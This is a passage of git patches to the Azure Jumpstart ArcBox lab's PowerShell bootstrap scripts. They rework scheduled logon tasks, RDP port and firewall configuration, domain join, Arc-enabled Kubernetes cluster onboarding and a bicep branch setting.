$Env:ArcBoxLogsDir\Bootstrap.log $ErrorActionPreference = 'SilentlyContinue' -if ([bool]$vmAutologon){ +if ([bool]$vmAutologon) { Write-Host "Configuring VM Autologon" @@ -273,28 +273,27 @@ New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata # Disable Microsoft Edge sidebar $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HubsSidebarEnabled' -$Value = '00000000' +$Name = 'HubsSidebarEnabled' +$Value = '00000000' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force # Disable Microsoft Edge first-run Welcome screen $RegistryPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -$Name = 'HideFirstRunExperience' -$Value = '00000001' +$Name = 'HideFirstRunExperience' +$Value = '00000001' # Create the key if it does not exist If (-NOT (Test-Path $RegistryPath)) { - New-Item -Path $RegistryPath -Force | Out-Null + New-Item -Path $RegistryPath -Force | Out-Null } New-ItemProperty -Path $RegistryPath -Name $Name -Value $Value -PropertyType DWORD -Force # Change RDP Port Write-Host "RDP port number from configuration is $rdpPort" -if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) -{ +if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) { Write-Host "Configuring RDP port number to $rdpPort" $TSPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' $RDPTCPpath = $TSPath + '\Winstations\RDP-Tcp' @@ -303,22 +302,19 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) # RDP port $portNumber = (Get-ItemProperty -Path $RDPTCPpath -Name 'PortNumber').PortNumber Write-Host "Current RDP PortNumber: $portNumber" - if (!($portNumber -eq $rdpPort)) - { - Write-Host Setting RDP PortNumber to $rdpPort - Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort - Restart-Service TermService -force + if (!($portNumber -eq $rdpPort)) { + Write-Host Setting RDP PortNumber to $rdpPort + Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort + Restart-Service TermService -force } #Setup firewall rules - if ($rdpPort -eq 3389) - { - netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes + if ($rdpPort -eq 3389) { + netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes } - else - { - $systemroot = get-content env:systemroot - netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes + else { + $systemroot = get-content env:systemroot + netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes } Write-Host "RDP port configuration complete." @@ -328,7 +324,12 @@ Write-Header "Configuring Logon Scripts" $ScheduledTaskExecutable = "pwsh.exe" + if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force @@ -336,16 +337,22 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { } if ($flavor -eq "Full") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for DataServicesLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Creating scheduled task for DevOpsLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force From dd05aba9316d66b3a3ecfab07373628bb5977658 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 13:26:41 +0200 Subject: [PATCH 055/456] Fix WinGetLogonScript task user in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 5f4b8e678c..6e477b1e85 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,6 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME + $winGetLogonUser = "$netbiosname\$adminUsername" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -386,7 +387,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $winGetLogonUser -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred From 895f1d1fc9674d84e9723252879063da64c50fac Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:02:03 +0200 Subject: [PATCH 056/456] Register scheduled tasks for logon scripts --- .../artifacts/RunAfterClientVMADJoin.ps1 | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 2a0a0d9b9a..81c0cb3334 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -33,16 +33,19 @@ $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:Ar $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" # Register schedule task under local account -Register-ScheduledTask -TaskName "DataOpsLogonScript" -Trigger $Trigger -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'DataOpsLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "DataOpsLogonScript" -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "DataOpsLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'DataOpsLogonScript'." # Creating scheduled task for MonitorWorkbookLogonScript.ps1 -Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "MonitorWorkbookLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." # Creating scheduled task for ArcServersLogonScript.ps1 -Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'ArcServersLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force +Get-ScheduledTask "ArcServersLogonScript" | Start-ScheduledTask +Write-Host "Registered scheduled task 'ArcServersLogonScript'." #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] From 3650891330e3b012df07c958902543893a159fe4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:04:40 +0200 Subject: [PATCH 057/456] Fix variable interpolation in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 6e477b1e85..1b3eddf663 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $winGetLogonUser = "$netbiosname\$adminUsername" + $winGetLogonUser = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" From 154162b241f6d208488a34c75d9ed75e78f2089a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:25:02 +0200 Subject: [PATCH 058/456] Fix indentation in WinGet.ps1 --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 826d80cf8d..a7192734e5 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -37,9 +37,10 @@ switch ($env:flavor) { } # Start remaining logon scripts -if($env:flavor -eq 'DataOps') { +if ($env:flavor -eq 'DataOps') { Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask -}else{ +} +else { Get-ScheduledTask *LogonScript* | Start-ScheduledTask } From bb2526de6a1de32197b8ae6a234013c4a6742f64 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:27:45 +0200 Subject: [PATCH 059/456] Add scheduled task for logon scripts and disable local account --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 81c0cb3334..126845386b 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -34,19 +34,19 @@ $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:A # Register schedule task under local account Register-ScheduledTask -TaskName "DataOpsLogonScript" -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "DataOpsLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'DataOpsLogonScript'." # Creating scheduled task for MonitorWorkbookLogonScript.ps1 Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "MonitorWorkbookLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." # Creating scheduled task for ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force -Get-ScheduledTask "ArcServersLogonScript" | Start-ScheduledTask Write-Host "Registered scheduled task 'ArcServersLogonScript'." +# Starting logon scripts +Get-ScheduledTask *LogonScript* | Start-ScheduledTask + #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no From e898d887e0830485887668428c4db3ab674ee2b0 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:32:55 +0200 Subject: [PATCH 060/456] Commented out the creation of a scheduled task for DataServicesLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 126845386b..bf9a6efef9 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -27,7 +27,7 @@ Write-Host "====================================================" $cimsession = New-CimSession -Credential $adminCredential # Creating scheduled task for DataServicesLogonScript.ps1 -$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser +#$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" From a768ae5bd99e20a7f9d6632dfbf110bbd74b46f1 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 14:37:46 +0200 Subject: [PATCH 061/456] Fix WinGetLogonScript task user in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1b3eddf663..5f4b8e678c 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,6 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $winGetLogonUser = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -387,7 +386,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $winGetLogonUser -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred From cb341ee33c64abba11dbe9bd293ff24db342bc59 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 13:05:09 +0200 Subject: [PATCH 062/456] Fix scheduled task execution in Bootstrap.ps1 and RunAfterClientVMADJoin.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 11 +++++------ .../artifacts/RunAfterClientVMADJoin.ps1 | 3 --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 7 +------ 3 files changed, 6 insertions(+), 15 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 5f4b8e678c..0178fe13e6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,6 +363,7 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME + $domainUserName = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" @@ -374,19 +375,17 @@ if ($flavor -eq "DataOps") { Password = (ConvertTo-SecureString -String $adminPassword -AsPlainText -Force)[0] }) - # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" - Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force + $Trigger = New-ScheduledTaskTrigger -AtStartup + $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - Write-Host "`n" # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $domainUserName -Action $Action -RunLevel "Highest" -Force Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index bf9a6efef9..017bab7a51 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -44,9 +44,6 @@ Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force Write-Host "Registered scheduled task 'ArcServersLogonScript'." -# Starting logon scripts -Get-ScheduledTask *LogonScript* | Start-ScheduledTask - #Disable local account $account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index a7192734e5..7406f3c4ce 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -37,12 +37,7 @@ switch ($env:flavor) { } # Start remaining logon scripts -if ($env:flavor -eq 'DataOps') { - Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask -} -else { - Get-ScheduledTask *LogonScript* | Start-ScheduledTask -} +Get-ScheduledTask *LogonScript* | Start-ScheduledTask #Cleanup Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false From f8bf7bd7a424c415d5d56bd9d5715639012c6656 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 13:43:08 +0200 Subject: [PATCH 063/456] Add scheduled task for WinGet.ps1 and remove scheduled task for WinGetLogonScript --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 5 ----- .../artifacts/RunAfterClientVMADJoin.ps1 | 8 ++++++-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 0178fe13e6..a194b57312 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -382,11 +382,6 @@ if ($flavor -eq "DataOps") { Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - # Creating scheduled task for WinGet.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $domainUserName -Action $Action -RunLevel "Highest" -Force - Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 017bab7a51..f36443e2a7 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -26,8 +26,12 @@ Write-Host "====================================================" # Create login session with domain credentials $cimsession = New-CimSession -Credential $adminCredential -# Creating scheduled task for DataServicesLogonScript.ps1 -#$Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser +# Creating scheduled task for WinGet.ps1 +$Trigger = New-ScheduledTaskTrigger -AtLogOn +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -CimSession $cimsession -Action $Action -RunLevel "Highest" -Force + +# Creating scheduled task for DataOpsLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" $WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" $nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" From c350b450b519b228e92d73341c7bd000d6707580 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 14:38:29 +0200 Subject: [PATCH 064/456] Update cluster onboarding script parallelism --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index c30ec246ec..ec7eb1f7b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,7 +145,7 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { +$clusters | Foreach-Object -ThrottleLimit 1 -Parallel { $cluster = $_ $clusterName = $cluster.clusterName if ($cluster.context -ne 'capi') { From ac77864f2142185c41abd307a6864160eb2b857e Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 18:29:31 +0200 Subject: [PATCH 065/456] Refactor cluster onboarding and enable Container Insights --- .../artifacts/DataOpsLogonScript.ps1 | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ec7eb1f7b0..aab6513e24 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,14 +145,11 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -$clusters | Foreach-Object -ThrottleLimit 1 -Parallel { - $cluster = $_ - $clusterName = $cluster.clusterName +foreach ($cluster in $clusters) { if ($cluster.context -ne 'capi') { - Write-Host "Checking K8s Nodes on $clusterName" + Write-Host "Checking K8s Nodes" kubectl get nodes --kubeconfig $cluster.kubeConfig Write-Host "`n" - Write-Host "Onboarding $clusterName as an Azure Arc-enabled Kubernetes cluster" az connectedk8s connect --name $cluster.clusterName ` --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` @@ -163,8 +160,8 @@ $clusters | Foreach-Object -ThrottleLimit 1 -Parallel { # Enabling Container Insights and Azure Policy cluster extension on Arc-enabled cluster Write-Host "`n" - Write-Host "Enabling Container Insights cluster extension on $clusterName" - az k8s-extension create --name "azuremonitor-containers" --cluster-name $clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId + Write-Host "Enabling Container Insights cluster extension" + az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" } } From 7a622b362db7dab2d6bce6afb5350c819d5eb782 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 19:04:38 +0200 Subject: [PATCH 066/456] Remove unused variable in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index a194b57312..2b57d2ba12 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -363,7 +363,6 @@ if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain $netbiosname = $Env:addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME - $domainUserName = "${netbiosname}\${adminUsername}" $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ UserName = "${netbiosname}\${adminUsername}" From f960fe6d5b39ac3274d714d8114b731430ea727a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 3 Jan 2024 19:40:09 +0200 Subject: [PATCH 067/456] Update githubBranch parameter value in main.bicep --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 7e4540db6a..5287d63ee8 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -43,7 +43,7 @@ param flavor string = 'Full' param githubAccount string = 'microsoft' @description('Target GitHub branch') -param githubBranch string = 'main' +param githubBranch string = 'arcbox_3.0' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false From f8a3f20f263e6e9601963cba6ca05d59df6fbc81 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 8 Jan 2024 08:44:13 +0200 Subject: [PATCH 068/456] Update PowerShell version to latest release --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 